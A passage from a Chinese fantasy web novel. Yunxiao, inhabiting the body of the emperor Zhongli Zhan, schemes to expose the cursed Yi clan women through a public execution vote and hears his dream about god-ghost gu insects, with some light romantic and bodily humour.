最可恨的是亲信背刺,那张控诉钟离湛是个残暴疯帝的奏折散布大街小巷,轻易就能抹去钟离湛往日功绩。 便是云绡才来也知道,他陷入了进退两难之局。 “真可恶啊!他们到底要做什么?”云绡听过后来的钟离湛提起神鬼蛊,说起他也曾目睹过尾人尸身堆叠成山,俊男美女皆是诱饵。 联想今日所见,云绡问:“难道旖族中有人想要成神?” 【成神?】 云绡一惊,连忙坐下:“你还在?” 她还以为钟离湛那句自嘲之后长久未出声,便是他又“沉睡”了,毕竟上一次云绡过来的时候他清醒的时间有限。 云绡问:“你不知神鬼蛊吗?” 【你竟连神鬼蛊也知晓……莫非你真是孤的——】 “我是谁不重要!重要的是这些人摆明了想要往你身上泼污水,他们要害你!”云绡只要想起发生在钟离湛身上的事便气得忍不住发抖,放在桌案上的手一下又一下抠着案卷边缘。 原来他的疯名不是后世人加在他身上的,竟是从这个时候,从他的亲信口中传出。 世人便是不全信,也要信三分! “那个人真可恶,那个人真该死!”云绡忽而盘膝坐起,乱翻卷宗:“他叫什么名字?我要杀了他!” 【徐之矣吗?】 “狗东西叫徐之矣!” 两人同时开口。 云绡又道:“对!就是他!我现在就去杀了他替你报仇!” 云绡才起身至半,钟离湛便道:【他已经死了】。 云绡一愣,钟离湛又道:【其妻知其行,夜半执刀,斩首亲夫,留书一封后便畏罪自刎。】 徐之矣的夫人不恨他抛弃妻女,却恨他忘本忘心,钟离湛之功凡受其利者皆感念其恩。徐之矣彼时已步高位,官居二品,与何舜齐名,可他却背刺君主,被别有用心者利用,蠢不自知。 徐夫人会杀他是为了替天行道,也是怕自己的女儿成为千古罪人之后。 云绡听到徐之矣已经死了,又坐了回去道:“死得便宜他了,这种狗东西,就该千刀万剐。” 【你方才称孤为——你。】 云绡顿了顿,感叹钟离湛敏锐。 【你非此间人,也非孤之臆想,你非居于孤名之下,所以你称孤为你,而非您。】 云绡:“……你不要纠结我是谁,你先想想你如今的处境吧!钟离湛,有人要害你,他们会害你——” 害得你恶名远扬,害得你功绩全消。 这些旖族女子只是开始,真正遗臭万年的不是早就死了的徐之矣,而是你啊! 这些话……云绡现在不能说,她来这里要做的不就是查明钟离湛的死因? 从锦仙山而来,与旖族女相关…… 云绡突然想起了什么,问他:“你是否认得洛娥?” 【洛娥?是谁?】 “你现在还不认得洛娥!”云绡不知该松口气还是该叹口气。 松口气是一切看上去似乎尚早,她还有机会调查,叹气的是他连洛娥都不知道,定然更不可能知晓锦仙山外写下的那些符文咒印的意义了。 【你说的洛娥,也是旖族女子?】 钟离湛现在只要听到旖族女子,本能应激了。 云绡却大手一挥道:“既然你还不认得她,咱们就先不管她!” 【咱……们?】 “我方才翻了这些卷宗,你杀了……一百七十六个旖族女人!”云绡算下来,手都开始发麻了,她又觉得自己来得并不早,按照钟离湛这样杀下去,他想不疯都难。 卷宗累累,涉案的旖族女子其实有七百多人,可见他的确因此焦头烂额。七百多人只杀了一百七十六,也算他留有理智,可见这一百七六个旖族女子实在难以饶恕。 “剩下的旖族女人呢?”云绡问:“你关起来了,关到哪儿了?还有今日被抓的害人性命养蛊的那些,加在一起都快上千人了,你要将她们统一关押吗?” 钟离湛如今的处境和感受并不好,毕竟他的身体不在自己掌控之内,还要听一个和自己一模一样的声音喋喋不休。 “他”对他不了解,又看似很了解,“他”知他许多不知之事,上次尾人族断尾一事,定然也是“他”所为。 【你问这么多……是为何?】 云绡理所应当:“我关心你啊!” 第62章 云绡不觉得自己说出关心他这话有多出格。 钟离湛从不会因为他人主动向他示好,借着一星半点的血缘关系对他表露关心而在意他们,因为他能分辨出虚情假意与真心实意。 可对于这个陌生的灵魂,他不能看见对方,却仍然有一种直觉让他轻信“他”的关心。从“他”说的每一句话来看,“他”都是站在钟离湛的角度考虑。 “他”知道很多他所不知道的事情,钟离湛有此感觉,或许这个突然出现的灵魂是帮助他解决旖族女子惹下的诸多麻烦的契机。 云绡见钟离湛又不说话了,以为他走了,便问一句:“你还在吗?” 【嗯。】 钟离湛还在,只是他当下较于与云绡谈话,他更想看她会怎么做,他能感觉得到,这个陌生又熟悉的灵魂对她的来由讳莫如深。 “你没什么要和我说的吗?”云绡惊讶于他这一次比上一次难控制多了,又或者说……他这一次的意识比上一次清醒多了。 【问了,你会知无不言吗?】 云绡想了想,还没来得及点头,钟离湛又道:【泄露天机,你会受到惩罚吗?】 他不知将她当成了什么了不起的人……云绡一时感慨,她说的话算得上是泄露天机吗?其实也算?毕竟她从未来而来,将未来已经发生的事告诉钟离湛,未必不会改变他当下的命运。 改变了如今的钟离湛,那后来的钟离湛还是她认识的钟离湛吗? 云绡有些迷糊了。 钟离湛没再追问,何舜与洛锦也没有时间让她继续沉思下去。 二人见钟离湛没有再扔杯盏,便步入殿内与她商讨这一次调查出的关于旖族女子以身为饵害了那么多条人性命的结果,与这些女子的罪责惩处。 洛锦是钟离湛的侍卫,照理来说不应当干涉案件,可因为徐之矣的事让钟离湛很长时间不再信任身边人。朝中信奉他的大有人在,可谁知道那些人不会在他背后竖起匕首,只有何舜和洛锦是从头至尾没有离开过他的视线,能让他真正看透的人。 关于这些旖族女子的惩处,洛锦和何舜起了不同意见。 何舜认为,有罪者便要罚,害人者就要杀。 而洛锦认为,近来关于钟离湛是疯帝,凶残之名愈演愈烈,偏偏此次涉案的大部分又是旖族女子,若将她们都杀了,难免会引起群情激愤。 前头的案子未断清,钟离湛不能真的不顾自己的名声,还按照以往行事风格。 云绡听他们俩争锋相对,又碍着钟离湛的原因,不论如何争执声音都很低,也不敢真的吵起来,一时有些惊讶。 她以为行迂回之法的会是何舜,而直肠子的洛锦当有一说一。 “统计涉案旖族女子人数,包括前头已经被关押的那些,孤要知道普天之下,旖族女究竟有多少人。”云绡说完,顿了顿后又道:“将那深坑尸体除却头颅,其他全烧了,你们注意看一看,凡是头骨上有密集洞孔的,清洗干净收拢起来。” 这些尸体是有人要炼神鬼蛊的证据,云绡不会让害人者逍遥法外,但也不能随意杀了这些旖族女子让人诟病钟离湛。 钟离湛当初杀了五帝后,将五帝的尸体悬挂曝晒,以此震慑天下。 云绡也要效仿他,反正已有“暴行”在前,那不如让那背后势力之野心昭告天下,就让百姓看看这些头骨,究竟是什么东西能将头骨钻破,落下深深浅浅的洞眼。 何舜和洛锦仍然没有得到钟离湛回答,那些女子究竟杀与不杀。 他们还想问,云绡已经挥手让他们离开了。 何舜和洛锦走后,云绡将殿内的灯点亮了些,又在埋头去看桌案上和一旁箱子里堆积的案卷,一沓沓全都与旖族女子有关。 钟离湛没有打扰她,他如今虽然意识尚存,却不能真的控制自己的身躯。 他的视线是模糊的,何舜和洛锦的声音他听得也不真切,钟离湛拼拼凑凑才大约猜出了他们在说什么,可偏偏他听云绡的声音很清晰。 这个灵魂真的很关心他,她看每一个案卷都很认真,想要从中找到可以突破的方法。 云绡在观察案卷,钟离湛在观察她。 准确来说,他是透过自己的视野,观察如今的“自己”在做什么。 盘膝而坐,对他的褪骨并不友好。 钟离湛的腿很长,而且男子骨硬,很难盘起,这个“他”似乎并不清楚,“他”也并不怕疼,甚至觉得这个姿势舒服,便一直保持着。 这个“他”在烦躁的时候会本能地去摸头发,钟离湛的视野里偶尔晃过一两缕发丝。“他”的小动作其实很多,“他”还会单手撑着下巴,身体也是歪的,过于沉浸的时候,张嘴就朝手指指甲不轻不重地咬着。 一番观察下来,钟离湛心中起了个不确定的念头。 “他”……似乎应当是她? 这个认知很快就被验证了。 满桌按堆积的卷宗都是竹简或者木简,厚重得很,云绡在清理的时候一不小心掉下来一卷,恰好就砸在了盘膝的两腿之中。 有脚踝挡了一下,砸下去并不重,却仍然有几分疼。 云绡还是第一次感受到身体里有个奇特的地方传来疼痛,她是能忍疼的,所以疼得并不明显,可那一块她从前一直没有的地方发生任何一点细微的感受她都能清晰地感知到。 捡起木简,云绡本能地要往痛的地方揉一揉,手刚落下去,掌心隔着衣裳触碰到了地方,如同她多长出了一条躯干上传来的奇异感受,在她后知后觉地察觉到自己干了什么事之后,云绡僵硬了。 她的右手拿着木简,左手猛然抬起,手背打在桌角的声音很响,可她仍然不敢动。 云绡突然想起来这是钟离湛的身体,而她其实……见过他的身体。 上一次来时未曾开窍,云绡见到男子的身体那一刹并没有欣赏之感,只是震惊和意外自己变成了男人,也没其他胡思乱想。 可这一次来前,她与钟离湛已经不是朋友了……由不得云绡不多想,她从对钟离湛的态度和想法改变了之后,占有越多,欲念越强。 之前昏暗里钟离湛沐浴的画面重新回到脑海,云绡不受控地回想起她触摸钟离湛身躯的温度和肌理的触感,而她刚才隔着衣裳轻轻揉摸了的那两下,突然就成了欲望的开关。 云绡感受到了身体奇妙的变化,在她才碰过的地方,仿佛血液汇聚,热流涌注。 盘坐的腿陡然变了姿势,云绡并拢双腿,浑身如同被火烧了一样发烫,心跳猛烈得几乎要冲出胸腔。 她竟然幻想着钟离湛的身体……惹得钟离湛的身体起了变化?! “对、对不起!”云绡两只手还抬着,木简也忘了放下,她立刻开口:“对不起,我不是有意的,我我、我也不知道会变成这样。” 除了不知云绡心中所想,几乎目睹全程的钟离湛:【……】。 果然如他所猜测的,存在于他身体里的另一个灵魂,不是“他”,而是她。 “钟离湛,你还在吗?”云绡放下朱木简,腰肢以下不敢动弹,并拢的双腿也不敢放松。 她的声音甚至有些无措:“现在要怎么办?” 钟离湛还是第一次希望自己能和之前一样,别什么都能看见,什么都能听到,否则他此刻就不会纠结该不该装他不在。 他要如何告诉一个突然出现在他身体里的女魂,他的身体起了这种形式的反应责任在她,他也无法控制。 钟离湛没出声,云绡就以为他此刻听不见自己说话,自然也就无法感知她的行动。 云绡松了口气,她好歹没在钟离湛面前出糗,可……她此刻也真不知该怎么办。 身体的反应让她肿胀得有些难受,夹着腿也不能缓解,她试图伸直双腿,而后又用手小心翼翼地戳了一下,想要把这种势态戳回去。 这举动对云绡而言,效果不大。 但对目睹一切的钟离湛而言,不亚于五雷轰顶。 【你别乱动,它自己会消下去。】 云绡的理智忽而就被烧没了,她瞪大了钟离湛的那双狭长狐狸眼,整个人僵硬地坐着。 她还是在他面前出糗了。 但钟离湛这话实在有些耳熟。 云绡想起不久前她摸着钟离湛的心口,问他的心跳为何会那么乱那么快时,他也说过类似的话,他说:“你别乱摸,它自己会慢下去。” 云绡想,即便此刻的钟离湛并不认识她,但他仍然是他,他说的话和将来的那个钟离湛一样,让云绡感觉分外熟悉,分外亲近。 仔细说来,钟离湛当时的心跳会那么快,似乎是因为他亲了她。 当时那一吻很快,云绡来不及感受,这个时候回忆起来嘴唇上柔软的触碰和鼻腔里溢满的炙热气息都变得清晰了起来。 云绡又想起,她来到这里匆匆,当时钟离湛安抚着她,却并未拥抱她,也没亲吻她。 虽说每天不宜多亲,但云绡觉得可惜,应该亲一下的。 她思维发散,钟离湛却无可奈何。 眼看着刚要平复的身体又悄然变化,钟离湛眉头一蹙,他的蹙眉不显在表面,因为云绡的灵魂掌控着身躯,此刻“钟离湛”的表情仍是微微呆滞的状态。 一声叹息,云绡从胡思乱想中回神。 钟离湛问她:【你又想了什么?】 云绡低头看了一眼未见好转的情况,伸手抓了一下脸,她总不好说……她在想他。 用着钟离湛的身体,想着钟离湛的吻,又让钟离湛的身体起了欲望的反应……不论如何解释都很变\态。 云绡只好乱说:“我在想,那些旖族女子到底该怎么杀。” 她说的是该怎么杀,而不是该不该杀。 钟离湛:【……】 他这么好糊弄? 但知晓对方既是女魂,有些话便不能点破。 【你这么笃定她们该杀,可有良策献上?】 云绡眨了一下眼,低声道:“我有个办法,有些损,但有效,不过你未必许我用。” 【说来听听。】 “将头骨悬挂,当众细数这些旖族女子罪行,实行氏族与民众代表投票是杀是留,若投杀,你是民心所向,若投留,便将这些女子送到他们家去。” 狐狸眼一亮,钟离湛一时没出声。 “氏族污你名声,必在其后推波助澜,凭什么恶心事他们干了,还能撒手不管?基于市井传你疯帝谣言,你许天下公平,不参与此次票行中。世人皆求利,刀不割在自身不知疼的,他们要救人,就要负责善后,我不信他们在知道这些女人都做过什么之后还敢让她们活着被送到他们的家中。” 钟离湛这回是真的沉默了,这损到恶毒又实在有效的法子,她怎么想出来的? 云绡愤愤不平:“你就是太善良了才会被他们欺负……” 钟离湛挑眉,他善良?还是第一次有人这样说他。 第63章 【你又为会何觉得,孤不许你用?】 云绡道:“我不是说了,因为你善良啊。这些前来投票的人中难免有被有心者利用的寻常人,也定然有真心觉得旖族女子生来带咒非她所愿,她们不该被不公对待的大义之人。l这些人一个是无辜百姓,一个是将来或许能成为你身边利刃的佼佼者,他们至少不该被旖族女子祸害了。” 要是云绡,她管那些人是谁,又管那些人去死? 左右不是她凑这热闹,站着说话不腰疼。 但钟离湛要考虑的便多得多了,便是他现在为万民之主坐人皇之位,天下也不是他的一言堂。他要考虑的不止当下,还要思考将来。 云绡说的这些话,当真让钟离湛觉得她真是特别啊,特别聪明。 她就像他肚子里的蛔虫。 【你可想过,今后再遇见旖族女子应当要如何应对?难道都得等她们害了人之后再行斩杀?这世上有愚笨的蠢货,也有真心的良人,不能人人都去试错。】 云绡也非走一步只想一步的人,她当然知道她的这个办法并不十分妥善,且仅能用一次。 若次次如此,市井里又该有人说钟离湛这个帝位坐得太轻松,万事不管。又或者再找一些其他麻烦给钟离湛后,不等钟离湛做出决策便提出投票之举以示公平。 更有可能再来几次,那投票里还参杂水分,被别有用心者操纵票数以达目的。 “我知道你难做。”云绡说这话时,习惯性地带着几分安抚意味,鼻音加重,也显得黏糊:“但这不是能解燃眉之急吗?” “而且你这么厉害,总不会没想到后续的应对之法。”云绡嘿嘿笑道:“在我来之前,你打算如何做?” 钟离湛:【……】 过于亲昵了。 一旦察觉到对方是名女子之后,钟离湛就总能从那和自己一模一样的声音里听出不同的语调,一时有些难以适应……这姑娘还是装些好。 【孤想的办法非一日之功,而是永诀后患。】 云绡闻言,眨了眨眼:“你要制止旖族生女吗?” 钟离湛有些惊讶,他惊讶于他的确动过这个念头,而此念头居然让云绡直接说了出来。 钟离湛前一刻还觉得她像自己肚子里的蛔虫,可这一刻他觉得说蛔虫太不准确了,她更像是他的另一个思想,行他不能行之事,想他不敢之臆想。 要阻止一个族人生女何其困难。 旖族女子之特殊从前就有,其他族人也都知道,并非近来突然冒出来的。之所以会被捅到人前不过是因为有人想要用这个办法与他对抗。 在这些旖族女子在钟离湛面前歌颂真心与真爱之前,她们其实并不受他族欢迎,旖族女一直都很少,很多生下来的都被直接溺死或活埋了,根本不可能长大。 明明天下人都知道旖族女子之诡,明明天下人之前对待旖族女子也多是宁可杀之也不抱侥幸。偏偏这个时候都大义凛然了起来,开始传颂生命的自由,宣扬活着的意义。 钟离湛想了很久,才想到要制止旖族生女这一步。已经被生下来的他无法掌控,但只要将旖族彻底掌控,那他就能决定将来旖族是生男,还是生女。 这是他要行的下一步,却不是最终一步。 【制止旖族生女,也只是短暂的,孤在位时或可控制他们,孤若有朝一日死了呢?】 云绡一顿,想到了后来的钟离湛,有些不开心道:“曦族能活千年,你怎么年纪轻轻就想着死呢。” 【活千年,也未必是件快乐的事。】 “你还没活到一千年呢,你又怎知……”云绡的话说得含糊,因为她知道他活不了那么久,所以有些心虚,也有些心疼。 钟离湛没听出她声音里的不同,此刻的他毕竟也不是后来的他,与云绡接触不多,捕捉不到她细微的情绪变化,他只是在阐述事实。 他虽没活到一千年,可已经活到两百年了,这个时候,他就已经很不快乐了。 仔细想来,自从坐在这个位置上开始,他就没有真心笑过。 年幼时异想天开,年少时意气风发……钟离湛其实知道他一直在收敛自己的本性。他并不喜欢当帝王,但这天下五帝皆被他斩首,五族氏族无一人堪当大任,他不来当,天下还是会乱。 人吃人的乱象再生,易子而食也不过是早晚的事。 那他出现阻止这一切,他杀了那些残暴不仁的帝王又有何意义? 那样他就没有根治病症,没有彻底挖掉天地之间生出的毒疮,他不过是撒了一把止疼药,药效一过,照样得死。 钟离湛觉得自己和她聊得太多了,但这个时候好像除了她,他也没有其他人能聊。 乱世之下,一腔抱负,满心公正,何其天真。 “我跟你讲哦,那些人就是日子过得太好了才想要到处生事,若他们与尾人族易地而处,连有尊严的活着都成问题了,他们就不会想这些乱七八糟的了。”云绡说着,又似安慰道:“这样看来你其实已经很成功了,你让他们都吃饱了饭,还能有闲心想闲事。” 钟离湛听她这话,突然气声笑了一下,这一声些许苦涩,但其实他心里是有些松快的。他觉得这个女魂的年龄应当不大,因为她说话有些调皮,但颇为一阵见血。 年纪大的人安慰会斟酌,年纪小的人才会这样直白。 【你方才提起的制止旖族生女,这回可有良策献上?】 云绡张口就想说他后来是如何做的,但想了想又犹豫了。她觉得钟离湛会这样问肯定是心里已经有成算了,他是在试探她,说多,她暴露得越多。 云绡没忘她来此间的使命,她要调查的其实是锦仙山和朱木简上的内容。旖族女子的事即便没有她的出现,他后面也解决得很好,至少一直到凌国期间,绝大部分的旖族也会在怀上女子之后便买了一贴药。 云绡转了话题,又似没转,她问钟离湛:“你知道旖族的女子为何生来血液里就带咒吗?上一次我来时你告诉我,尾人族有尾巴是有一方输局后的赖棋行为,那旖族女子呢?为何他们的男子无事,偏偏就女子如同被诅咒了一样从生下来就不能拥有亲近之人。” 旖族女子身上的咒并不只对爱她们的男子,便是她们的父母亲人,朋友,凡是真心交好之人都会受到影响,说她们是天煞孤星也没有错。 钟离湛一直觉得解决旖族女子血液里带咒的方式,并不完全在于控制旖族女子的出生。凡是病症都得寻根去治,他近来在烦恼的也是因为他在寻找旖族女子血里带咒的原因。 只有找到原因,才能根绝问题。 这个原因,钟离湛也想过会与尾人族的尾巴一样。 【你记得朱木简吗?】 云绡眸光一亮:“记得!” 【那你相信,这个世上有神仙吗?】 云绡这回毫无犹豫:“我信!” 【孤做过一场梦,很离奇,你要听吗?】 云绡心跳砰砰直跳,她不明白钟离湛为何要提起梦,但她觉得他的话都很重要,于是轻轻嗯了声。 钟离湛借着此刻无法控制的眼,去看远处跳跃的火光,对云绡道:【在孤的梦里,有位道骨仙风的老者,他虽披银发白眉却如有驻颜之术。他疯疯癫癫地出现,告诉年仅六岁的孤这世上有神仙,那些神仙高高在上掌管世人的一切,包括生死。】 【老者说,他与神明相爱一场,可他也借着神明之眼看清了世间真相。他哄睡了神明,离开了她,躲躲藏藏直至自己老去,可他却发现即便他老了,他也不会死,他的寿命无尽,容颜永驻,那是神明对他的赐福,也是诅咒。】 【你知道他是如何发现自己能够永生不死的吗?】 云绡摇头,钟离湛没看见她的动作,自顾自说:【因为他的身体里被种下了神鬼蛊。】 【人的身体里有二十四条经脉,他的身上有二十四只被养到赤红的神鬼蛊,那二十四只神鬼蛊的身上背负 着四万余人的性命。那个老者说他接受不了自己身为人,却借着四万余人的命长久又痛苦地活在世上,他想死,可他用尽办法也无法死去。】 【孤想他或许真的疯了,所以一边哭一边笑,一边说着胡话,还请求孤杀了他。】 【他找了很多人,活了很多年,无一人能杀他,也无一人能杀死神鬼蛊。孤觉得他说的是胡话,可又看得出他的痛苦和赴死之心是真的,所以……我拔剑了。】 一个六岁的孩童,举起了他的佩剑,他能嗅到老者身上布满了血腥的臭气,也能看到他身上四万多枉死性命的幽怨,他能看到那个老者内心的自责和苦痛。 他最后问了一遍:“你确定,你真心想死?” “我确定,我不想要他人的血肉筑成我的不死之躯,我确定,我想要死去。” 于是钟离湛转身往上站了两个台阶,拔出手里的长剑,对准那个老者的心口道:“我不知能否帮你赎罪,若我不能,希望你能找到下一个可以帮助你的人。” 他是个善良的人,又是个果敢坚毅又狠辣的人。 他的剑毫无阻碍地刺入了那位老者的心口,他完成了老者的心愿,他可以杀死一个浑身上下种满神鬼蛊的人。 他看见浩荡的剑气荡平了神鬼蛊身上的杀戮与血腥,那些蛊虫一个个从老者的身体里掉了出来,化作空壳。 老者于他眼前迅速苍老,血色染红了他的前襟。 也不过是一眨眼,尚是孩童的钟离湛眼前已经没了那个老者的身影,唯有地上干枯的蛊虫还静趴在石板地上。 他跳下台阶,弯腰去看,一阵风将那些虫尸吹散,齑粉融入泥灰,一切如梦。 【那场梦只出现过一次,却刻在孤的记忆深处,时时提醒着孤。人将希望寄托于神明是天真的妄想,想要从乱世中脱困,唯有自救。】 【若弱者自救不得,那便让强者平衡规则。】 云绡安静地听着他说的故事,她觉得这不只是一场梦,定然是钟离湛真的经历过的发生在他身上的事。所以才有后来云绡看见的,他年纪还那么小,就背着一把剑离家出走的画面。 “这与朱木简有何关联吗?”云绡问他。 钟离湛道:【朱木简,是那老者之物】。 云绡倒吸一口凉气,那看上去平平无奇的一卷书,居然是那与神明相爱之人的东西,而他不老不死,也是因为体内有二十四只神鬼蛊。 神鬼蛊能让人成神,却不是真正意义上的成神,那老者活着生不如死,他仍然无法掌控自己的生命。 “钟离湛,你能杀死他,一定是因为你大约是这个世上,唯一一个知他因何长生不死,却没有因此动心想要成神的人。”云绡又一次感叹:“你应当去坐莲花座的。” 钟离湛又是笑了一声,很意外,他听出了她的言外之意,她在说他像个菩萨。 也不知是否因为他暴露了天机,后来云绡说的话他都没有听见,人如沉睡,神魂清醒地看着天亮后,她用他的身体执行了她的计策。 如她所言,票选旖族女子的生死虽非长久之策,却能解燃眉之急。 第64章 在云绡对何舜与洛锦说出票选决定旖族女子生死时,二人都有些愣住了。 但对于钟离湛的决定,他们都不敢有异议。 云绡命令他们清理出来的头骨,还有先前以爱之名祸害他人的旖族女子案卷卷宗,全都成了这些女人们罪有应得的有力证据。 斩首死刑与票选的位置就在玄英城外,那里有一处原先被人族用来祭祀用的青石台。因为当时人族皇帝残暴不仁,用活人祭祀,所以青石台的缝隙也被染成了猩红,这里阴气森森,凡是靠近的人都能察觉到冷意。 云绡将地点定在这里,自然是为了让围观者在听到那些罪行时更清晰地感受恐惧,明白这些旖族女子死有余辜。 太阳尚未升起,天还是深蓝色的,微微亮。 有前几天官府走马通知,今天前来凑热闹的百姓就更多了,围观的人里面还有早前跪在钟离湛王宫前的旖族女子们。 云绡让何舜通知,五族中每族出十人代表,必须得是世家嫡系,不可以旁支家仆充数,剩下的人便在围观群众中择选。 何舜执刑,洛锦带人维持秩序,这天下谁不知道此二人代表的便是钟离湛,即便钟离湛没来。 数千头骨垒成了白森森的小山,一共九百四十二名旖族女子就跪在那座小山前,场面极度壮观。 青石台旁有使官面前放着桌案,桌案上一边是赞成斩杀的红令,一边是请求给对方一线生机的领养令。 是了,领养令。 这一令牌出来时何舜的脸都有些扭曲,要知道领养二字对于深知旖族女子邪乎之处的人有多毛骨悚然。就光是那令牌放在那处,都没人敢朝其靠近,深怕其中有个令牌不小心掉在自己跟前,自己就得领个旖族女子回去。 氏族的嫡系代表觉得钟离湛这个直人这一次的主意简直是损透了,这些旖族女子中有多少与他们家有关他们心里也是有数的,便是旖族的男子,也不敢将旖族女子领去家中。 他们的脸色不好看,围观百姓的脸上倒是兴趣盎然。 直到何舜找的声音洪亮的官员,开始朗报那些旖族女子的罪行。 “朱晓琳,旖族女,年二十三,先后与六名男子相爱,六名男子皆死,三名身首异处,两名家中父死母残……” “林慧玉,旖族女,年十六,与男子王钦私定终身后,王钦死于野狗分尸,后有孕去王钦家中,王家十七口人,年老者病痛摔死,年幼者失足落河,无一生还……” “姜乐,旖族女……” 乍一听,似乎都是那些人自己倒霉,但这世上谁人不知旖族女子专吸他人气运。尤其是那些白骨堆成的小山,一颗颗头颅在初晨薄光中阴森森地盯着围观者,谁都不能说这些人的死,不是她们一手促成。 即便命运对她们不公,那那些被她们盯上的男子与其家人又何其无辜呢? 罪行越数,围观的旖族女子的脸色便越难看,甚至周围人自主远离一些看上去年轻貌美,肤白孱弱的姑娘们。他们无法分别谁是旖族,但他们知道旖族女子大多长着一副弱柳扶风的白莲模样。 就连那些来凑热闹的其他族中女子都被误会嫌弃。 围观者中,还有旖族女子特地前来造势,痛骂钟离湛是个残暴不仁的疯帝,不顾子民死活的暴君。可当这些罪证摆在众人面前,那极度直观的上千个被蛊虫咬得密密麻麻的头颅就堆在城门外,她们原先准备好的措辞也无法喊出来了。 说是予百姓选择她们的生死,实际上,当自己的利益要被剥夺或瓜分,自己的性命受到威胁时,他们哪儿管这些旖族女子的死活? 百名执令者主杀,无一人领养。 辱骂钟离湛的话,这个时候却都变成了这些旖族女子罪该万死。 还有想搅风弄雨者,跪在青石台前哭诉:“我们旖族女子生来如此,我们又有什么错?这难道是我们所希望的吗?若真如此,倒不如将我们全都杀了!何必让我们诞生,又骂我们罪恶?” 这一哭,又有附和者,只是这次附和的人明显少了很多,更多的人则是看这女子自爆为旖族之后,便连连后退,要离她远些。 云绡表面上没来,因为她不想让钟离湛掺和其中,但其实她来了,就在城墙之上,看着下面的闹剧,沉着脸,心有思量。 何舜也是精明了,一看那哭的女人旁边有男人帮腔,便做主当一回月老红娘,直接给二人当场牵线了。 “你同情给她不由自主,她自怜命运不公,你俩天生一对。” 这一下女人不哭了,男人也不说了,二人面面相觑,转身就跑。 洛锦能让他们跑掉? 不过是为了在这次执行 斩首的过程不想节外生枝,先假装让他们离去,再将这些人拿下。 云绡的损招还是有用的,九百多个旖族女子无一人求情。后面听到她们居然哄骗男子性命去养蛊,百姓更是义愤填膺,甚至连整个旖族都恨上了。 养什么蛊,云绡没告诉何舜,神鬼蛊这种阴毒邪恶的东西,越少人知道越好。 而单单一个蛊字,就够寻常人去痛恨,去恐惧了。 - 何舜将如今统计在册的旖族女子总数报给云绡听时,云绡已经回到了王宫,只是还没来得及休息,便又要忙碌。 何舜说即便旖族女子情况特殊,旖族有人在生女之后又杀女,而今有名有姓的旖族女还有七千多人。这七千多人并不包括先前斩首示众的那些。 这世间的旖族女也不尽然全坏,至少云绡觉得陆梨不错,甚至是水荷,她也觉得对方看上去不是坏人。 可这七千人中,也不全是好的。那些曾在王宫前哭泣,质问钟离湛的旖族女子也在其中,她们只是暂无机会害人而已,不代表她们今后不会害人。 如钟离湛说的那样,不能以寻常百姓之性命去试错,旖族女子有活着的权力,其他人更有。 云绡好几天没能和钟离湛说话了,心中有些焦躁,语气就显得生硬得多。 “将她们都带来王宫。” 云绡说完,何舜愣了一瞬,他抬眸怔怔地看了一眼近些日看上去不那么紧绷着的帝王,不确定地问:“七千多人,都带来吗?” 云绡学着钟离湛说话的态度道:“你能找到多少,就带来多少。” “是。” 何舜退下了,洛锦已经在门前等候多时。 何舜与洛锦擦肩而过时,彼此都看了一眼。他们俩因尾人族一事交好,后来都是一起跟在钟离湛身边的,这还是第一次钟离湛将他们分开行事。 洛锦入殿行礼,云绡直截了当地问:“可找到锦仙山了?” 洛锦回话:“禀告君上,属下已经找到锦仙山了,只是澜州锦仙山与君上所说的不太相似,属下也不能确定那是否就是君上指定的山。” 云绡垂眸道:“只要是在澜州,应当就没错。” 洛锦一一向云绡描述他找到的锦仙山的外在模样,在洛锦口中,锦仙山也是个神奇的山,远远看去那山周围没有其他高峰,只那一枝独秀。 或许是因为澜州地理位置本就不错,那座山四季如春,山上纤云渺渺,山下还有一些斑鹿偶尔露面,称一声锦仙完全配得上。 锦仙山附近并无居所,据当地人说那座山是一千多年前突然出现的,平地拔起的一座山捣毁了周围的村落,原本住在那里的人无一生还。 后来附近存活的村民本想上山寻些山林野货,可上山的人再也没回来过,那地方的名声就越发邪乎,故而即便它看上去再秀丽也无人敢靠近。 云绡越听洛锦描述,就越觉得此山便是她要找的山。 听洛锦说锦仙山的特殊,云绡其实也在暗自猜测,这个时候那个旖族的神女洛娥恐怕已经在山里了。 到底如何,还得她亲自去探。 洛锦走后,云绡便顺着记忆里的方向一路走到钟离湛寝殿院子前,她还没走入院子就从漏窗中看见了一抹粉色。 脚步一顿,云绡没朝前走,而是后退一步再从漏窗的雕花中往里看。 便见到夕阳西下,橙红色的光芒落在熟悉的殿门前,小院里没有旁的植物,只那一株长得不甚茁壮,枝干扭曲的海棠花。 这个时节恰是海棠花开,可因为土地贫瘠,的确不适合滋养娇花,那株小小的海棠能养活就算不错了,现在它居然还开花了! 虽然只有一枝上零星几点薄粉色,可那粉色的脆弱的花瓣,也依旧是整座院落里最亮眼的存在! 云绡心下一喜,提起衣摆快步向前,迈着钟离湛的大长腿,她很快就到了院子里,近距离地去看那枝海棠,俯身在花朵上嗅了嗅。 很淡的香味,却充盈了云绡整片胸腔。 这是她养的海棠花! 从小到大,她的院子里从来没有花,即便皇宫中到处都是缤纷的色彩,可没有一朵是因她而开的。 这是她亲手种下的,只开了两三朵,可这两三朵开得真好! “可惜你看不见。”云绡轻轻叹了一声。 看着这花开的大小,应当只是这两天才绽放,它在开花前钟离湛就已经离开王宫了,现在绽放了,倒是云绡先欣赏上了。 【孤看见了。】 突然出现的声音叫云绡一惊,随后一喜:“钟离湛,你在啊?” 【嗯。】 钟离湛有些无奈,上一次与这女魂交谈,他几乎每日都能有片刻挣脱黑暗的桎梏,但时间短暂且不可控。 这一次能和这女魂交谈,时间变长了,魂魄似乎也变自由了。可一旦沉于黑暗中,便数日不能清醒,一直浑浑噩噩的,看什么都模糊,听什么都不清不楚。 难得再度听见她的声音,一声轻轻的呢喃,点亮了他的视野,而后那朵凑到眼前来放大的海棠花于风中颤颤的模样,被他看了个正着。 原以为女魂要和他就着旖族女子事情说些什么,又或者继续海棠花的话题,毕竟这株花是她种下的,钟离湛对此还有印象。 可谁知道她张口来了句:“那你能掌控你自己的身躯吗?” 还不等钟离湛回答,她又有些窘迫道:“上次我忍了七天,连水都不怎么敢喝的……” 云绡上次的确连水都不怎么喝,一天几乎只有一次解决方便的时间,且她是蹲下去解决的,全程不碰也不看,只恨不得快点儿结束这种痛苦时刻。 可现在到底是不一样了。 这可是钟离湛的身体啊,他是钟离湛啊……云绡还记得自己上次光是想想就让钟离湛的身体起了反应,这次提起,忍不住就要脸红耳赤了。 “我觉得这次我可能在这边要待挺久的,你能不能自己掌控一下身体,然后、然后去沐浴方便一下?” 她可不想再臭着了。 钟离湛:【……】 他试了试,不行。 